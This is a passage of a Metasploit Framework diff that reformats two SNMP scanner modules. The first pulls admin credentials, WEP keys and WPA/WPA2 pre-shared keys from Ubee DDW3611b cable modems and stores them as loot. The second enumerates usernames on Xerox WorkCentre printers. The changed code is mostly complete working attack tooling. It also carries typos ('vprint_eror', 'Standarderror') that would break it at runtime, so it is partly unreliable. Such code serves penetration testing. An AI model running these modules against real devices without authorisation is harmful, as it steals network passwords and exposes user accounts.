::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb index cff307afa2..ca9ec01e35 100644 --- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb +++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -10,147 +11,152 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Ubee DDW3611b Cable Modem Wifi Enumeration', + 'Name' => 'Ubee DDW3611b Cable Modem WiFi Enumeration', 'Description' => %q{ This module will extract WEP keys and WPA preshared keys from certain Ubee cable modems. }, - 'References' => - [ - [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] - ], - 'Author' => ['Deral "PercentX" Heiland'], - 'License' => MSF_LICENSE + 'References' => [ + [ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ] + ], + 'Author' => ['Deral "PercentX" Heiland'], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) - end def run_host(ip) - output_data = {} - begin - snmp = connect_snmp + snmp = connect_snmp - if snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/ - print_good("#{ip}") - wifiinfo = "" + unless snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/ + vprint_eror("#{ip} system is not DDW3611") + return + end - # System user account and Password - username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') - print_good("Username: #{username}") - wifiinfo << "Username: #{username}" << "\n" - password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') - print_good("Password: #{password}") - wifiinfo << "Password: #{password}" << "\n" + print_good(ip.to_s) + wifiinfo = '' - wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12') - if wifistatus == 1 - ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12') - print_good("SSID: #{ssid}") - wifiinfo << "SSID: #{ssid}" << "\n" + # System user account and Password + username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') + print_good("Username: #{username}") + wifiinfo << "Username: #{username}" << "\n" + password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + print_good("Password: #{password}") + wifiinfo << "Password: #{password}" << "\n" - # Wifi Security Version - wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12') - if wifiversion == "0" - print_line("Open Access Wifi is Enabled") + wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12') + if wifistatus == 1 + ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12') + print_good("SSID: #{ssid}") + wifiinfo << "SSID: #{ssid}" << "\n" - # WEP enabled - elsif wifiversion == "1" - weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12') - if weptype == "2" - wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1') - key1 = "#{wepkey1}".unpack('H*') - print_good("WEP KEY1: #{key1}") - wifiinfo << "WEP KEY1: #{key1}" << "\n" - wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2') - key2 = "#{wepkey2}".unpack('H*') - print_good("WEP KEY2: #{key2}") - wifiinfo << "WEP KEY2: #{key2}" << "\n" - wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3') - key3 = "#{wepkey3}".unpack('H*') - print_good("WEP KEY3: #{key3}") - wifiinfo << "WEP KEY3: #{key3}" << "\n" - wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4') - key4 = "#{wepkey4}".unpack('H*') - print_good("WEP KEY4: #{key4}") - wifiinfo << "WEP KEY4: #{key4}" << "\n" - actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12') - print_good("Active Wep key is #{actkey}") - wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" + # Wifi Security Version + wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12') + if wifiversion == '0' + print_line('Open Access Wifi is Enabled') - elsif weptype == "1" - wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1') - key1 = "#{wepkey1}".unpack('H*') - print_good("WEP KEY1: #{key1}") - wifiinfo << "WEP KEY1: #{key1}" << "\n" - wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2') - key2 = "#{wepkey2}".unpack('H*') - print_good("WEP KEY2: #{key2}") - wifiinfo << "WEP KEY2: #{key2}" << "\n" - wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3') - key3 = "#{wepkey3}".unpack('H*') - print_good("WEP KEY3: #{key3}") - wifiinfo << "WEP KEY3: #{key3}" << "\n" - wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4') - key4 = "#{wepkey4}".unpack('H*') - print_good("WEP KEY4: #{key4}") - wifiinfo << "WEP KEY4: #{key4}" << "\n" - actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12') - print_good("Active Wep key is #{actkey}") - wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" + # WEP enabled + elsif wifiversion == '1' + weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12') + if weptype == '2' + wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1') + key1 = wepkey1.to_s.unpack('H*') + print_good("WEP KEY1: #{key1}") + wifiinfo << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2') + key2 = wepkey2.to_s.unpack('H*') + print_good("WEP KEY2: #{key2}") + wifiinfo << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3') + key3 = wepkey3.to_s.unpack('H*') + print_good("WEP KEY3: #{key3}") + wifiinfo << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4') + key4 = wepkey4.to_s.unpack('H*') + print_good("WEP KEY4: #{key4}") + wifiinfo << "WEP KEY4: #{key4}" << "\n" + actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12') + print_good("Active Wep key is #{actkey}") + wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" - else - print_line("FAILED") - end - - # WPA enabled - elsif wifiversion == "2" - print_line("Device is configured for WPA ") - wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') - print_good("WPA PSK: #{wpapsk}") - wifiinfo << "WPA PSK: #{wpapsk}" << "\n" - - # WPA2 enabled - elsif wifiversion == "3" - print_line("Device is configured for WPA2") - wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') - print_good("WPA2 PSK: #{wpapsk2}") - wifiinfo << "WPA PSK: #{wpapsk2}" << "\n" - - # WPA Enterprise enabled - elsif wifiversion == "4" - print_line("Device is configured for WPA enterprise") - - # WPA2 Enterprise enabled - elsif wifiversion == "5" - print_line("Device is configured for WPA2 enterprise") - - # WEP 802.1x enabled - elsif wifiversion == "6" - print_line("Device is configured for WEP 802.1X") - - else - print_line("FAILED") - end + elsif weptype == '1' + wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1') + key1 = wepkey1.to_s.unpack('H*') + print_good("WEP KEY1: #{key1}") + wifiinfo << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2') + key2 = wepkey2.to_s.unpack('H*') + print_good("WEP KEY2: #{key2}") + wifiinfo << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3') + key3 = wepkey3.to_s.unpack('H*') + print_good("WEP KEY3: #{key3}") + wifiinfo << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.4') + key4 = wepkey4.to_s.unpack('H*') + print_good("WEP KEY4: #{key4}") + wifiinfo << "WEP KEY4: #{key4}" << "\n" + actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12') + print_good("Active Wep key is #{actkey}") + wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" else - print_line("WIFI is not enabled") - end - end - # Woot we got loot. - loot_name = "ubee_wifi" - loot_type = "text/plain" - loot_filename = "ubee_wifi.txt" - loot_desc = "Ubee Wifi configuration data" - p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc) - print_good("WiFi Data saved: #{p}") + print_line('FAILED') + end - rescue ::SNMP::UnsupportedVersion - rescue ::SNMP::RequestTimeout - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} - Error: #{e.class} #{e}") - disconnect_snmp - end + # WPA enabled + elsif wifiversion == '2' + print_line('Device is configured for WPA ') + wpapsk = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') + print_good("WPA PSK: #{wpapsk}") + wifiinfo << "WPA PSK: #{wpapsk}" << "\n" + + # WPA2 enabled + elsif wifiversion == '3' + print_line('Device is configured for WPA2') + wpapsk2 = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.2.2.1.5.12') + print_good("WPA2 PSK: #{wpapsk2}") + wifiinfo << "WPA PSK: #{wpapsk2}" << "\n" + + # WPA Enterprise enabled + elsif wifiversion == '4' + print_line('Device is configured for WPA enterprise') + + # WPA2 Enterprise enabled + elsif wifiversion == '5' + print_line('Device is configured for WPA2 enterprise') + + # WEP 802.1x enabled + elsif wifiversion == '6' + print_line('Device is configured for WEP 802.1X') + + else + print_line('FAILED') + end + + else + print_line('WiFi is not enabled') + end + + # Woot we got loot. + loot_name = 'ubee_wifi' + loot_type = 'text/plain' + loot_filename = 'ubee_wifi.txt' + loot_desc = 'Ubee WiFi configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc) + print_good("WiFi Data saved: #{p}") + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + rescue ::SNMP::RequestTimeout => e + vprint_error(e.message) + rescue ::Interrupt + raise $ERROR_INFO + rescue Standarderror => e + print_error("#{ip} - Error: #{e.class} #{e}") + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb index 2b4cd805a1..659ebf9e13 100644 --- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -10,52 +11,67 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Xerox WorkCentre User Enumeration (SNMP)', - 'Description' => %q{ + 'Name' => 'Xerox WorkCentre User Enumeration (SNMP)', + 'Description' => %q{ This module will do user enumeration based on the Xerox WorkCentre present on the network. SNMP is used to extract the usernames. }, - 'Author' => - [ - 'pello ' - ], - 'License' => MSF_LICENSE + 'Author' => [ + 'pello ' + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) end def run_host(ip) - begin - snmp = connect_snmp + snmp = connect_snmp - if snmp.get_value('sysDescr.0') =~ /Xerox/ - @users = [] - 285222001.upto(285222299) { |oidusernames| - snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row| - row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 } - end - } - print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ") + sys_desc = snmp.get_value('sysDescr.0') - @users.each do |user| - report_note( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'udp', - :sname => 'snmp', - :update => :unique_data, - :type => 'xerox.workcenter.user', - :data => { :user => user }) + unless sys_desc =~ /Xerox/ + print_error("#{ip} is not Xerox: #{sys_desc}") + return + end + + @users = [] + 285_222_001.upto(285_222_299) do |oidusernames| + snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row| + row.each do |val| + next if val.nil? + next if val.value.blank? + + @users << val.value.to_s end end - - # No need to make noise about timeouts - rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") - ensure - disconnect_snmp end + + print_good("#{ip} Found Users: #{@users.uniq.sort.join(', ')} ") + + @users.each do |user| + report_note( + host: rhost, + port: datastore['RPORT'], + proto: 'udp', + sname: 'snmp', + update: :unique_data, + type: 'xerox.workcenter.user', + data: { user: user } + ) + end + rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout + # No need to make noise about timeouts + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") + ensure + disconnect_snmp end end